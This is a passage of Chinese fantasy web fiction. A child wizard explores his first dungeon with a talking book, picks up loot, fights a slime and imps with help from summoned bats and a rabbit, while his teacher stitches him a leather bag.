“可是费德爷爷,它们躺在这里,是免费的。” “……这些只是垃圾!” “我想带回去给老师看。没准他有喜欢的呢。” 费德鲁斯:……你导师是垃圾回收商吗。 可惜,孩子的拳拳孝心并未能如愿。饶是袍子又宽又大,他也很快装到了上限,而这条路眼见着还要走很久呢——他才刚扫荡完个开头。 他叹了口气:“早知道带个小推车下来了。” 费德鲁斯:行,你导师真成收破烂的了。 莱塔忽地眼睛一亮,转头看向他那小身子硬邦邦又格外平坦的费德爷爷。 费德鲁斯上下窜动:“住脑!不准打我的主意!我珍贵的书壳不是来当垃圾叉车的!” 莱塔遗憾叹了口气,只能先原地把一兜小宝贝放下,从里头挑挑拣拣,仔细比对,拿看起来更重要的继续前进。 唔,这个瓶子看起来漂亮一点,是不是更好?可是另一只瓶子里面的液体会发光耶……这个卷轴脏兮兮的,感觉可以不要……可是它看起来好有厚重感…… 莱塔十分耿直地用他淳朴的感情判断着它们的价值,在断舍离的难题中晕乎乎看花了眼,无论哪一件都舍不得丢。 费德鲁斯甚至是旁观了足有一分钟,才意识到这小孩压根没看面板,纯目测。它气呼呼敲了敲孩子的脑袋,获得一声“哎呦”。 “进入地下城后,你要时刻去注意你的面板!现在,打开你的背包!” 莱塔听话做了背包图标的手势动作。每样小物件都在脑海里整齐排列开来,布局成方方正正的大网格,一格存放一件物品。格子的数量倒是没有上限——小朋友不会知道,这可太仁慈了。 背包右下角有负重显示:【26.3s/30s】 莱塔:……好像不太妙。 他瞪圆了眼睛,像只被夺走米缸的呆滞小老鼠:“这个负重是我想的那个意思吗?那岂不是很快就要到上限了!我还什么都没拿呢!” “哼,让你别捡还以为是害你呢。”费德鲁斯翘了翘它不存在的鼻子。 可恶的背包负重,毁我捡垃圾大业。 莱塔终于彻底死心,全心全意地收拾起他的“小背包”。当打开背包界面,每个小物件的说明也自动浮现于脑海。 【小型魔力回复药水×2】 【回复10点魔力。】 【小型生命回复药水×3】 【回复10点生命力。】 【小范围随机传送卷轴】 【在一定范围内(小),随机传送到某个位置。读条:3秒】 【混乱卷轴】 【使敌人陷入群体混乱,持续10秒。读条:6秒】 【魔法书:猫猫魅惑法则】 【后习得魔法:魅惑法则;学习要求:魅力>50,幸运>50】 【*似乎是一位魔女常年观察自家小猫所总结的笔记,记录了一只猫通过邪恶伎俩魅惑所有人形生物的黑暗。“人类啊,请说我自愿接受猫猫神的统治!”——魔女莉莉丝】 浏览到这里,莱塔下意识比对了自己的属性。 【魅力:82】 【幸运:80】 这不是刚刚好么!好容易哦。 莱塔立即翻看起来,读得津津有味,甚至觉得自己捡了大便宜。平日里枯燥无聊的读本被面板这么一包装,在孩子的眼里趣味性直线上升。 他自然不知道,这本书对属性的要求其实高得有些离谱,而他本人的数值也是邪门到诡异——尤其是和那两个可怜兮兮的攻防值相比。 魅幸双属性一起过80点,许多成熟的大巫师都不见得能做到。毕竟二者在巫师们的战力提升计划里总是被放在最末,乃至压根不在意的。 要求魅幸双50,这样高级的一本书竟然能在一层随手捡到,像捡地里的大白菜,只能说孩子高达80点的幸运值发力了……或许还有其他什么祝福的加成? 费德鲁斯见孩子安安静静坐在石头上读起书来,也没打扰。它想这小孩看起来无师自通发现了下地城的诀窍:背包实在不够的情况下,中途获得的魔法书什么的,能当场读就当场读,学会就扔。 的时间是漫长的。地下城面板只能进行辅助说明,并不会替代正经的学习与练习。想要精通一本书,便只能靠巫师自己去一页一页地、钻研。 只不过面板能够提前告知:这本书的知识以及背后蕴含的力量对某些个属性有隐形要求,过了这些个标准,才有初步读懂的可能。 读了差不多三分之一,孩子揉了揉眼睛,有点涨。 周围几乎没有环境光,只地城墙壁上偶尔刺出点发亮的晶石。再来便是蝙蝠杖上自带的小光。用来赶路还行,长时间读书就有点折磨人了。 费德鲁斯:“……算了,先放着吧,反正也不会丢。以后记得带点好用的照明设备。叫你老师给你搓一个。” “好……” 莱塔又揉揉眼睛,合上魔法书,依依不舍地把那堆被面板鉴定为“垃圾”的东西忍痛抛下。其余有点价值的晶石、药草什么的,他就携带着继续上路了。 横横竖竖,不断回转绕路。莱塔在脑海里构建起一路走来的轨迹,画成思维地图。他发现他似乎在走迷宫。不过好消息是,这迷宫没有存心要让他迷路的意思,路线的设计看上去还挺耿直。 迷宫的尽头有什么呢? 难道这里就是用来给人一路捡东西的吗? 孩子的疑问很快得到了解决,他遇上了进入地下城以来的第一次敌袭:一只绿色的史莱姆。 长得很是软弹,半透明样子,还有两颗黑色小花生似乎是眼睛。感觉咬一口会很清凉,糯糯叽叽……孩子对这只可爱的小东西萌生出许多的好感来。 他开心蹲下身,伸出手:“你好呀……” 回应他的是史莱姆的狠狠肘击。 被肘击倒地的莱塔:“……?” 他从地上爬起来,手掌擦破了皮,有点丝血。他这时候才注意打开隐藏的面板界面。 【解锁新图鉴:平凡史莱姆。】 【*它绿油油的,看起来平凡而普通,实际确实如此。不会吧不会吧,不会真有人被史莱姆袭击成功吧?】 【你遭遇到平凡史莱姆的攻击。生命-1】 【你获得了称号:被史莱姆制裁之人。】 【你已获得超过一个称号。可前往基础信息界面,手动更换所佩戴称号。】 莱塔:“……” 他觉得这个面板挺没礼貌的。 莱塔直接忽视了面板的提示。他开始用看待敌人的目光,凶巴巴地瞪着那只可恶的绿色生物。 史莱姆:蛄蛹、蛄蛹.jpg “哼,刚才是让你偷袭了,现在才是动真格的呢!”小孩对一名史莱姆放出狠话。 攻击3防御3的小黑巫师,与平凡史莱姆陷入了胶着的战斗。 【你对平凡史莱姆使用了水球术。】 【平凡史莱姆闪避了你的水球术。】 【平凡史莱姆对你使用了冲撞。】 【你闪避了平凡史莱姆的冲撞。】 如此这般,有来有回,激烈非凡。 看得一旁的费德鲁斯忍不住热泪盈眶:天呐,这届小黑巫师里出了个天才!打了五分钟都没杀死一只史莱姆! 终于,杀心逐渐被催生的小黑巫师,拿出了他的杀手锏,那面能混乱敌人的神奇卷轴。在费德鲁斯的目瞪口呆下,他扭身躲入一柱断墙后,一把掏出混乱卷轴,撕开,强大的魔力外溢。 6秒读条,史莱姆混乱,停止攻击,原地转圈扭打空气。 莱塔嘴角勾起他自认为十分残忍的笑,赶紧拎着蝙蝠杖冲上去。 梆梆梆! 小黑巫师在卷轴的帮助下,终于成功拿法杖敲死他巫师路上的第一个敌人——平凡史莱姆! 【你击败了平凡史莱姆。】 【魔物图鉴更新:平凡史莱姆。】 【你获得了首胜奖励——闪闪发亮的宝箱。】 如字面所言,一只闪闪发亮的宝箱,在史莱姆原本尸体的地方出现。而被小孩捣碎的史莱姆尸体则消失,只剩下它掉落的材料:平凡史莱姆的黏液。 【平凡史莱姆的黏液】 【黏糊糊,咕叽咕叽,有一定弹性,似乎能用来入药。】 莱塔十分宝贝地把这团半固体的黏液收入袍子小兜里。 他转头用脏兮兮的小脸蛋对费德鲁斯露出灿烂的笑:“我是不是很棒!” “嗯嗯,小塔很棒……”费德鲁斯犹豫再三,还是没有去伤孩子的心。 ——天呐,这年头打一只史莱姆都要开卷轴了。 它提醒道:“快开宝箱吧。每个初次进入地下城的小巫师,都能得到这份特别的奖励。这可是闪闪发亮的宝箱呢,平时不容易刷出来的,算是给小巫师们统一的优待。” “闪闪发亮的宝箱?” “宝箱么一般分为这几个珍稀度:‘完全普通的宝箱’,能大概率开出普通物品,小概率开出优质物品;‘闪闪发亮的宝箱’,大概率开出优质物品,小概率开出珍稀物品;‘十分神圣的宝箱’,一定开出神圣物品。当然,还有传说中的神之宝箱,能直接开出神器…… “对你这个阶段而言,能拿到一件珍稀物品,就已经能过得比较舒适了,不至于在战斗历练中太过艰辛。不过没有也没什么,像我当年……咳咳,像我以前认识的一个黑巫师啊,就只开出个优质品质的破烂匕首,连法杖都不是。他拿它硬着头皮打了好长一段时间的怪,最后不也还是……” 已经装备了四件神器的莱塔,懵懵懂懂听着。 他手指一点,打开了宝箱。 【你获得了渴望成为巫师的幽灵灯(神圣)。】 【你获得了十分美妙的头骨法杖(珍稀)。】 【你获得了回城卷轴。】 【你获得了中型生命回复药水×10,中型魔力回复药水×10。】 【你获得了……】 莱塔抬头:“费德爷爷,是神圣诶。” 费德鲁斯:“……” 莱塔继续单纯发问:“费德爷爷,不是说这种宝箱最多只能开出珍稀物品吗?” 费德鲁斯:“……在十分、十分、十分罕见的概率下,宝箱可能在开启的瞬间自动进化,爆出下一品质的东西。另外,一切神圣之物,都是曾经被某位神明接触过的东西。它们沾染了神圣,虽然不是神器,却也有了比凡物更强大的力量。” “原来如此。”莱塔点点头,没有十分欣喜,埋头认真清点起收获来,仿佛认为一切理所 应当。 费德鲁斯:”……“ 这小屁孩的属性看起来就偏科到离谱——这孩子怎么都像是隔壁幸运之神的神徒吧?! ……难道越是在首战中表现得蠢笨羸弱,越能触发神奇的出货率。它不禁开始怀疑书生。 【渴望成为巫师的幽灵灯(神圣)】 【魔力+5,速度+5】 【可悬浮在持有者周身,提供一定范围的永亮照明;当持有者魔力状态不满,为其提供每秒1魔力的缓回复。】 【变异:处于地下城中时,持有者学习技能魔法书的时间减半。】 【*它原本只是一个普通灯笼,却曾被某位神明暂时借用,与之相伴渡过冥河。它守护了许多巫师,如今它也开始渴望成为巫师,学习魔法。】 “费德爷爷,什么是变……” 费德鲁斯用看小怪物的目光幽幽道:“神圣和珍稀品质的物品都有一定微小的、微小的、微小的概率变异。变异物品的名字会带有特别的前缀,并获得新的能力,以及新的描述……” “这样啊……” 莱塔显然并不能猜到费德鲁斯此刻的感受。毕竟他还有四件神器呢。如果费德鲁斯知道,想必要当场昏厥。 莱塔忽然反应过来:“费德爷爷原来看不见我的面板信息吗?” “哼,我又不是巫师,当然看不见。” “哦……”那费德爷爷还能那么准确地告诉他,哪个部件处于哪里,哪里点开又是什么界面呢。不愧是费德爷爷。 莱塔没有丝毫犹豫装备上了他可爱的小幽灵灯。 先前还说缺照明呢,真是缺什么来什么。好幸运哦。 两个属性当场有了变动。 【魔力:45】 【速度:85】 莱塔捏着小下巴思索:似乎在地下城面板的自动计算里,绝大部分的属性只看装备的堆叠?他不禁想起他的攻击3防御3——全部来自于他的小巫师套装和蝙蝠杖。 难道他自己就没有基础的力量吗? 他也向费德鲁斯问了出来。 不知为什么,费德爷爷的声音嘀嘀咕咕的,像是熬煮冒泡的一大锅酸水。 “面板只会计算你的武器、装备、道具提供的加成,这些是可以被精确计算的。但是你本人的力量,那种东西太玄乎飘渺,面板不会提供数值。 “是的,想必你已经意识到了。面板显示的战力,和一名巫师所能实际发挥出来的力量并不完全一致。毕竟就像你说的,咱们巫师自己的魔力深厚、感知、对魔法的精准操控、学会的法术多少,都能影响攻击力。 “这代表我们遭遇敌人时,不要含有傲慢心理。一个看起来弱于自己的存在,其攻击和防御无论左看右看,都十分的可笑。然而说不准人家就是一个闲着没事干的大佬,专门穿上一身垃圾装备,要来逗你玩呢?等你打算随手碾压对方,才被人家的法术狂轰滥炸,甚至被神器糊上一脸,这种可能也是存在的嘛……” 那也太闲着没事干了吧。莱塔心想。 他就不一样了,多坦荡,多实诚。拿到什么好东西都直接穿身上,绝不隐瞒。攻击3,防御3,不藏半点! 哼哼。莱塔不禁骄傲地挺了挺小胸脯。 “不过么,特殊情况下比如涉及到组队筛选队友的时候,也有别的法子能粗略判断一名巫师的自身综合实力。最前面的基础信息里,不是有攻破地下城数,和无限迷宫突破层数么? “前者可以用来大致看一个巫师的冒险阅历,后者则是直接表明对方的实力——我知道你要问什么,这东西对你来说还很遥远。大多巫师一辈子都不会成长到开启无限迷宫的境界,就这样孤独甚至痛苦地死去了。” 说到后面,费德鲁斯的声音有些冷。那让这个看起来不着调的小老头,终于符合了它漆黑封皮的气质。 “孩子,巫师之路是很残酷的。只有运气并不能让你一直走下去。” ——可是,自己并不只有运气呀。 他还有魅力和速度呢!莱塔十分欢快地想着。 年幼的小黑巫师哼哧哼哧继续清点物资起来。 他的手刚摸上宝箱里的那把死灵法杖,脸上笑容便渐渐消失了。 【负重:34s/30s】 他的负重炸了。 这么多的宝贝他带、不、走! 莱塔:缓缓呆滞.jpg …… 黑森林,小木屋中。 一名黑巫师坐在窗边,手上书页已经很久没有翻过。 他唇角忽地勾起一点淡淡的笑意。 不过这点笑也很快消散,恍若错觉。 “奥菲利亚。” “谨遵您的召唤。” 一个穿着黑色哥特风格裙子的年轻女性无声浮现。她一头打理得十分漂亮的金发,于腰后精致编织成大鱼尾辫,头上带着古典韵味的软纱帽。她看起来像小姑娘们珍爱在收藏柜里的暗黑系冷白肤人偶。 她双手提裙,在黑巫师几步之外行礼。那是一个标准的宫廷屈膝礼,她做得优雅,轻盈。 黑巫师:“你会做背包么?适合孩子用的。” 奥菲利亚:“……?” 她很快反应过来,以随身的女士折扇捂嘴轻笑:“啊,是那位可爱的小先生吧。我确实会一点。不过我更建议软皮革的挎包。带子要长而细,让包能活泼地在腰胯间摆动。皮得采用轻而柔软的,以免磨损了孩子娇嫩的肌肤……” “不错的建议。” “谢谢。那么我明日便能给您献……” “不必。给我一份常规的制作图纸即可。”像是怕人家没听懂,黑巫师又紧跟着补充,“我自己设计,自己做。” 这一次,奥菲利亚精致的脸卡壳了许久。 然后她张圆了嘴,发出一道挺不淑女、但很人之常情的声音。 “……啊?” 11.清点物资 莱塔感到自己的一颗小心脏在滴血。 “费德爷爷,你真的不能……” “别想了!这辈子都不可能!”小老头冷哼一声,悠哉悠哉地挂在远处看戏。 好吧,断舍离,巫师生涯中的第一课。莱塔在心底里这么对自己说。呜。 目前他手上搜刮来的宝贝,大致可以分为四种。 第一种,魔法卷轴。这类道具记录了巫师们亲自写下的各类魔法,撕开即用,不需要消耗使用者任何魔力,十分便捷。 刚用掉一张混乱卷轴,现在剩下的是一张小范围传送卷轴,和一张新开出的回城卷轴。 【回城卷轴】 【传送到地下城入口。读条:15秒】 莱塔注意到了这个长达15秒的读条。通过混乱卷轴的使用,他已经知道这是等待卷轴生效的时间。他记得小范围传送卷轴,可只要3秒呢。 嗯……如果是刚才那样的战斗,回城卷轴肯定是用不了的,中途会被敌人的攻击打断。所以回城卷轴必须在清理掉敌人后,处于长时间的安全时段再使用? 莱塔试图想象它的使用情景。 比如走了很远的路,原路返回的话已经没有垃圾,咳,没有宝贝可以捡了,纯走路十分浪费时间,便可以无痛返程。 或者被怪物追击,用尽手段逃入一片安全的区域。如果不想继续探索,起了离开的打算,又担心回去时会在路上再度直面那些怪物,也可以直接原地当场传送。 那这可是个好东西呀!得留着。 莱塔认真把它收拾好,放入小裙兜的最里层。 “那这个小范围传送卷轴有什么用呢……还是随机传送,感觉好危险啊……”小孩自言自语。 “哼。”被小屁孩几番缠着请求帮忙搬运垃圾的小老头,自然听到了孩子的困惑。小老头决定不回答——除非小孩求它。 费德鲁斯并没能等来孩子软乎乎的请求。 孩子很快又自言自语自己想明白了。 “喔,我懂了!因为读条很短,所以可以在被怪物追击时使用。只要想办法抢到3秒的空隙,就能脱离战场,这时候如果还不放心,便可以接着再使用回城卷轴……原来如此,好聪明的卷轴……” 这也是好东西。要留。 莱塔同样认真把它放入小兜兜的最里层,和回城卷轴排排坐。 接下来是第二类道具,魔法药水。 莱塔目前得到最多的是基础但十分有用的回魔、回血药水。这些东西他都不需要思考,全带上了。 剩下感觉暂时没什么用的瓶瓶罐罐,只能先忍痛舍弃:“灵感药水”、“夜视药水”、“幸运药水”……嗯? 莱塔盯着幸运药水的说明看。 【幸运药水】 【使你在接下来的1小时内,幸运提升一定幅度。】 幸……运? 莱塔眨眨眼睛,又看向那闪闪发亮十分漂亮的宝箱。随着他先前把道具一件一件拿出来,它开始变得虚幻起来。也许等他全部拿完,宝箱就会原地消失。 费德爷爷说遇到闪闪宝箱和变异武器的概率很低,可他全部都碰上了。这一路走来好像也没有什么怪物,除了那只强大无比、让他着实苦战一会儿的史莱姆。 莱塔还记得当初在初始厅是要二选一走一条路的,现在看来这条路或许也选对了。幸运么。 莱塔若有所思,从夹层口袋里掏出那根猫尾巴。 它的名字是幸运猫尾,黑巫师说它能带来幸运。 远处的费德鲁斯好奇地飘过来:“嚯,拜猫者的东西。” “拜猫者?” “信奉幸运之神的巫师,就叫拜猫者。那帮巫师给神明建造的神像,就是只蹲坐的黑猫呢。” 好奇特的名字啊。莱塔忽然觉得自家的“赴死者”没那么酷了。 那可是小猫咪啊!咦,等等。 黑猫? “……双尾的黑猫?” “对呀,你以前见过幸运之神的雕塑?” “黄色的眼睛?” “这个倒是没注意过……”费德鲁斯靠近又做出闻闻嗅嗅的样子,不过停留在了礼貌距离,“好强大的力量啊,感觉得是个神圣级别了。这是你老师送你的?” “差不多吧……”莱塔没有透露细节。 “真好,刚成为巫师就拿到两件神圣之物和一件神器。”费德鲁斯真诚感慨。它嘴里说的神器自然是那件辉光与知识之神的罗盘。 这倒是提醒了莱塔。 ……该不会那群人远道而来专门为他掉落罗盘,也是幸运的加持吧? 这会不会太厉害了一点? 这就是神器吗? 莱塔愉快接受了这个设定,不觉得有什么不妥当的。 哼哼,就连猫猫神都很喜欢它呢,还专程派出手下猫送出这么强力的礼物。 处理完卷轴和药水,接下来便分别是零零碎碎的奇形怪状晶石碎片、不知道能用来做什么的药材,和一些据说能熬魔药的材料。史莱姆黏液也在其中。 太乱了。等到自己开始做魔药,都不知道是什么时候的事呢。莱塔把这些东西统统放弃,只留下自己首战的战利品黏液,和几个看起来很漂亮的小石头和小草。 嘿咻,嘿咻。 小兜已差不多满了。莱塔终于把注意力放在宝箱内最后的一样物品上:头骨法杖。 【十分美妙的头骨法杖(珍稀)】 【魔力+5,攻击+5】 【变异:魅力+1】 【*它总是骄傲于自己的六个脑袋,也许你可以成为第七个。现在,它感到自己十分的美妙。】 莱塔把它放在最后处理,自然也是有他的用意。 ——这玩意太丑了。 六个足有手掌大的骷髅头,像一串葡萄挂在法杖上。就在莱塔把它拎起来的那么一会儿里,它们甚至还会碰撞出类似风铃的响动,只是远远阴森许多。莱塔听到四面八方的嬉笑声。 太丑了,太丑了。究竟是怎么有信心写出那个“魅力+1”的?孩子大为不解。 即便和蝙蝠杖比起来,它是那么的高级,也阻挡不了孩子坚定把它丢弃的决心。 “喂,你在做什么呢!这可是个珍稀级别的法杖!还自带死灵气息,对你而言正正好……” 莱塔把蝙蝠杖抱在怀里:“它一点也没有小蝙蝠可爱。” 圆滚滚的小蝙蝠们开心地蹭蹭孩子的手腕。 费德鲁斯:“……” 娇气!十分的娇气! 就在费德鲁斯以为这麻烦的小屁孩终于清点完要上路时,莱塔却再度蹲下身。他把刚才确定好要舍弃的地上物品,一件一件放到了宝箱里。包括宝箱原本装着的,和不属于宝箱的。 孩子码得很整齐,轻拿轻放。似乎在他心底里,它们从来不是什么要丢的废品,哪怕是那根挑战他审美的头骨法杖。 ——它们只是旅途中与他有缘相遇,而后各自分别的风光。 莱塔端端正正在宝箱里为它们安了家,甚至仔细分门别类。 “这些给你。”他对宝箱说。 原本已经变得几乎透明的宝箱,停止了消失。它重新凝聚身形,再度“闪闪发亮”起来。 果然,只要“肚子”是满的,宝箱就会永远存在。莱塔想。 “你在这里好好的哦。如果有其他人走到这里了,就替我把它们送出去吧。”莱塔想了想又补充道,“不过如果你自己也想要的话,也可以留下它们。这是我送给你的礼物,你自己做主就好啦。” 在费德鲁斯惊诧的心绪中,闪闪发亮的宝箱变得更闪亮起来。它身上浮动的光点像是被无形之风吹到了孩子的手上,令莱塔感到一阵微微的湿意……好像泡泡啊。他想。 从来只是宝箱送给别人东西,这是宝箱第一次收到冒险者的礼物。宝箱很开心。 这之后,才是继续踏上冒险旅途。 莱塔很快遇上了第二只魔物:一只拿着骨头棍的小鬼。 孩子光速被肘击,光速被打至屁股着地,光速消耗掉仅有的小范围传送卷轴和回城卷轴,光速回到初始厅。 费德鲁斯:“它~一~点~也~没~有~小~蝙~蝠~可~爱~” 莱塔:“……” 这不对吧! 他不是 身负足足四件神器的天选之人吗! 莱塔蹲在角落里无声抱头怪叫。 一分钟后,他整理好心情,严肃站起。 “费德爷爷,今天我不攻破这里是不会回家的!这个狂什么什么的地方,一共有多少层?” “20层。”费德鲁斯凉凉说。 “……好吧!今天我不攻破第1层,是不会回家的!”孩子灵活改口。 接下来便是一段无聊的赶路时光。孩子巡视被自己扫荡一空的熟悉路径,像一头神气的小狮子。然而到了那让他栽跟头的小鬼出没之地,小狮子就扁扁地把自己躲到石头后,警惕冒出半颗脑袋东张西望,十分的窝囊。 “费德爷爷,你看到它了吗?” “就那呢,你左前方十米,这次还是两只。” “噫——那我等它们走远了再出去。” 费德鲁斯恨铁不成钢教育:“这里是地下城!冒险者们征战刷怪之地!不是玩捉迷藏的乐园!你得冲上去与它们作战!” 莱塔一脸困惑:“为什么要打架?等它们离开再前进不是更安全吗?” “哼,离开?你这回能幸运等到它们离开,下回呢?遇上那些专门守门镇路的呢?”费德鲁斯甚至没提每层关底的boss。 “地下城原来这么危险啊……” 费德鲁斯以为这孩子终于想通了,至少会去把那根头骨法杖捡回来。看来实践永远比言语更教育人啊…… 结果孩子直接提着蝙蝠杖冲了上去。 “冲啊!为了蝙蝠杖!为了传送卷轴和回城卷轴!为了鱼肉烩饭!” 费德鲁斯:……此子不可教也! 不过鱼肉烩饭是怎么混进来的? …… 黑森林,小木屋中。 某人坐在窗边,刚画好的设计图纸摊开在空中漂浮,未干的墨迹落了几点在页脚,像几粒黑星。 旁边是一份折叠起来的制作配方,已被学习完毕。 黑巫师细细处理着玫瑰鹿的皮。这是一种十分漂亮的魔物,头上的角簇拥成褐色玫瑰的形状,走路带着浓郁的香气,能勾起许多肉食生物的食欲。 当捕食者们试图靠近它们。玫瑰鹿的角便会骤然膨胀,变得比鹿的本体还要高大。它们瞬间从猎物变为真正的狩猎者,残忍地用角把那些可怜的羔羊活生生戳死,慢慢地戳死。 玫瑰鹿喜欢在进食前玩弄还活着的猎物,用它们滚烫的鲜血来浇染它的角。喝了大量血液的鹿角将变成如玫瑰般鲜嫩欲滴的红色,这才是它们名字的由来。 所有食物里,玫瑰鹿最喜爱人类——这是一句废话,没有魔物不喜欢吃人类,尤其是充满魔力的巫师们。 它们通常出没于湿度合适的森林湖泊地形里,许多冒险者都在还稚嫩时遭遇过它们的引诱。他们眼睁睁看着自己的同伴哀嚎着被鹿角掀开内脏,即使闭上眼睛那声音还会持续很久,直至同伴彻底失血过多而亡。 于是成熟的冒险者们也会在碰巧遇上时,顺手杀玫瑰鹿。 可惜的是,这些残忍而漂亮的小东西,不方便加工成魔药,或是其他魔法材料。玫瑰鹿对环境内魔力的感知很高,一旦它察觉到有强大的敌人靠近,便会当场吓死。 它们因惊恐而死亡时,血液中会反应出一种毒素,以高速遍布全身。几乎是一秒内,玫瑰鹿就会变成一具青黑色的尸体,连鹿角都不会幸免。 这次一只特别漂亮、也尤其残忍的玫瑰鹿,被一名黑巫师默默盯上,下了订单。原因则很简单:它的皮简直比天上云朵还要轻柔,正适合孩子的肌肤;而它的鹿角生得很美。 它完好的皮和角,刚被清理干净,此刻静静躺在银盘上,等待黑巫师将它们缝制成皮包和包的绳扣。 黑巫师忽然微不可查地叹了口气。 刚划开鹿皮的沾着魔物血的指尖,抬起点了点空气。 地下城中。 某只小巫师怀里的小蝙蝠们,以及头顶的小兔,都仿佛听到了旨意。它们的眼睛闪烁起片刻的光亮,似乎杏仁大小的脑子终于想起了自己的使命。 在小巫师迈着小短腿跑向敌人时,蝙蝠们先一步飞了出去。 12.魔力耗尽 见到小蝙蝠们义无反顾冲了上去,莱塔惊慌极了:“不要!它们会把你们打死的!可恶,不许欺负我的——” 孩子冲了上去。 孩子飞了回来。 孩子就这样被小鬼一骨头棍掀翻在地,飞出去几米远,话都没说完。 莱塔在地上咕噜咕噜滚了好几个圈,才撞到墙壁停下。不知为什么这次不疼。他急慌慌抬起头,看见小蝙蝠们正和敌人打得有来有回。 莱塔:“……?” 四只蝙蝠很有队形地叼啄两只骨头棍小鬼,绕着风筝,时不时还放几个混乱法术,看得莱塔一愣一愣。 所谓小鬼,是死亡与灾厄之神名下地城的土特产,和外头的哥布林长得挺像,就是外形更细瘦更阴邪一点,关节处戳出森森的白骨。 它们拿着长长短短的骨头棍棒,被打掉的肢体掉落在地上,也会变成跳动的白骨——是的,它们拿着的武器就是它们自己或同伴的肢体。如果不能及时把本体彻底消灭,这些白骨肢体便会飞回小鬼身上,完全复原。 小鬼们通常以小队规模巡逻,并分散有更外一圈的哨兵。如果冒险者被其中一只哨兵发现,很快将吸引来一批更强力的小鬼部队。只要冒险者失误被小鬼掀翻在地,骑到身上撕咬,接下来便会有一群小鬼扑上来,你一口我一口直至活活咬死。 当然,莱塔并未体会过这些。他实在太过幸运,这次遇到的两只小鬼都非哨兵,而只是落单的普通士兵。又也许因为身体太轻,他每次都被小鬼直接击飞数米远,令对方没法趁机扑咬。 莱塔下意识严肃学习着蝙蝠们的阵列攻势,不禁冒出一个念头:怎么感觉小蝙蝠的战力好像比他高。 他后知后觉感到脑袋有点痒痒。一摸,发现小兔正像一块方布那样趴在他的头顶,扒得牢牢。他意识到什么,打开面板。 【朋友的力量(2/2)】 【蝙蝠小队(优质)】 【攻击:5;防御:3】 【技能:啃咬抓挠-通过牙和利爪对敌人进行高速近身攻击。】 【技能②:混乱射线-通过视线发射直线混乱魔法,命中有概率使敌人陷入混乱,混乱状态持续3~6秒。】 【技能③:蝙蝠光波-当蝙蝠数量大于3时,可通过特殊飞行阵型释放群体攻击魔法,命中使敌人附加中毒状态,持续扣血。】 【*现在,它们挺身而出,为你作战。】 【可爱兔兔(优质)】 【攻击:3;防御:5】 【技能:不许欺负他-为目标施加物魔双伤防御罩,技能持续期间使目标防御力提升,所受魔法攻击降低30%。】 【技能②:你还疼不疼-为目标施加精神魔法,技能持续期间移除大部分痛感。】 【*兔兔喜欢你。】 这就是朋友的力量吗…… 等等,它们的数值好像真的比自己厉害。 莱塔呆呆观战着,一时间都忘了自己也可以加入作战。 一旁的费德鲁斯同样张大它不存在的嘴巴。 “嗷呜!”第一只小鬼倒了下去,化成一滩骨头碎片。 费德鲁斯清醒过来,猛地一拍书页:“你早说啊!那你刚才在那里练习什么水球术!” 早说什么?孩子仍旧懵懵懂懂。 费德鲁斯开始无缝为孩子切另一门课程:“好吧,那么显而易见,你有了新的基础教学需要掌握。现在,告诉我,孩子,你的面板上显示你能操控的召唤物上限是多少?” “召唤物?” “就是那两个家伙。”书页指了指。 “它们是我的朋友!” “行吧,那你能喊来帮你的朋友上限是多少。”费德鲁斯显然懂得因材施教。 “唔,两个。” “好极了。一般来说,初始只会有一个,能上来就拥有两个空位,确实是有点天赋的。后续你可以通过修炼增加可同时操控的召唤物,咳朋友数量,不过目前么两个就够了……” 费德鲁斯又对那打得火热的战场仔细观察了一番,随后品评起小朋友的“动物伙伴”:“不错不错,搭配很合适,一个攻击一个防御。蝙蝠群还恰好带着灵活、飞行、群体数量、远程攻击几个特征,一个顶好几个……我好像还看见了附毒和群体魔法?话说回来这兔子也挺有用的,免得你这小身板磕了碰了。你很幸运啊孩子!” 猫猫神这么厉害吗。莱塔第不知多少次感慨。 怎么感觉自家的不死不灭好像没什么用。莱塔又偷偷摸摸在心里相对小声地感慨。 说话间,自由战斗的蝙蝠们已解决掉第二只小鬼。它们活泼地冲回来,在莱塔眼前上下飞舞。等把孩子引到两具骨头堆旁,又在骨灰上兴奋地跳舞。 莱塔毫不吝啬夸奖道:“你们很厉害!多亏了你们保护我。” “还有你,饼干。没有你的话,我的屁股又要痛痛的了!”他捏捏小兔的爪爪。 小主人一番情绪价值和端水做得有模有样,不管是蝙蝠还是小兔都十分开心。 “哎呀,想起来我还没有给你们取名字呢。我想想哦,芝麻,黑豆,木耳,黑莓……” 旁观的费德鲁斯禁不住以为自己老眼昏花。这几只随手捏出的魔法造物不是长得一模一样么?但孩子看起来确实一本正经,不知是怎么辨认出来的。 ……可就是一模一样啊! 接下来莱塔又和他的动物朋友们聊了好一会儿的话,让费德鲁斯又恍惚以为他们其实打败的不是一层刚进门的炮灰小鬼,而是最后的地下城城主了。 “咳咳!”它大声咳了几下,“对目前的你来说,你的几位朋友基础数值都还不错。智力也合格,自由作战下能看出来灵性。不过你也不能太骄傲,要明白,像召唤师这种路子,上限永远依靠巫师自身的实力,不可只依赖召唤物。” “是朋友。”莱塔纠正。 “……不可太依赖朋友。”好麻烦的小孩! 费德爷爷所说的正合莱塔心意,他也不希望总是朋友们冲在最前面:“那费德爷爷,我应该怎么做呢?” “你得用自己的战术去指挥它们。我们都知道,召唤师的智力是远大于召唤物的……”说到这里,费德鲁斯诡异地沉默了。 “然后呢,费德爷爷?”孩子睁着清澈愚蠢的大眼睛继续问。 “……但凡事也不能太依赖常规经验。小塔啊,我看你这兔子和蝙蝠长得就很聪明嘛!你今后可以多看,多学,从它们身上借鉴点战斗的诀窍。然后在不打扰它们作战的情况下,辅助放些魔法。明白了吗?” “我会的!”莱塔认真捏紧小拳头。 接下来便是没什么悬念的一路砍怪。主要是兔子和蝙蝠负责砍,孩子躲在后面努力观摩战况。 “奇了怪了,为什么一路都是小怪,还都是一只一只来的……难道这孩子真是隔壁幸运神手底下,哪个神使的私生子……” “费德爷爷在说什么?” “没什么!好好上你的实战课!不要东张西望!” “好的!” 因为推进实在太过顺利,费德鲁斯盯得也没那么紧了。它在自己的空白书页上做起涂鸦来,这是费德鲁斯这些年新拥有的小爱好。 画上是一个矮矮小小的灰毛小屁孩,咕噜咕噜地从烟囱上滚下去。壁炉里提前垫了蛋糕那么厚的小枕头。孩子落到枕头上,又给弹回到天上去…… “对啦,小塔,记得注意补充魔力……”费德鲁斯仍埋头画画。 “知道啦!” 小莱塔如此答应着,却有些心虚地摸了摸兜里的药水瓶们。嗯,整整齐齐,一个都没少! 这些可是他第一次下地城的战利品,可舍不得喝呢。 要带回去给黑巫师看! 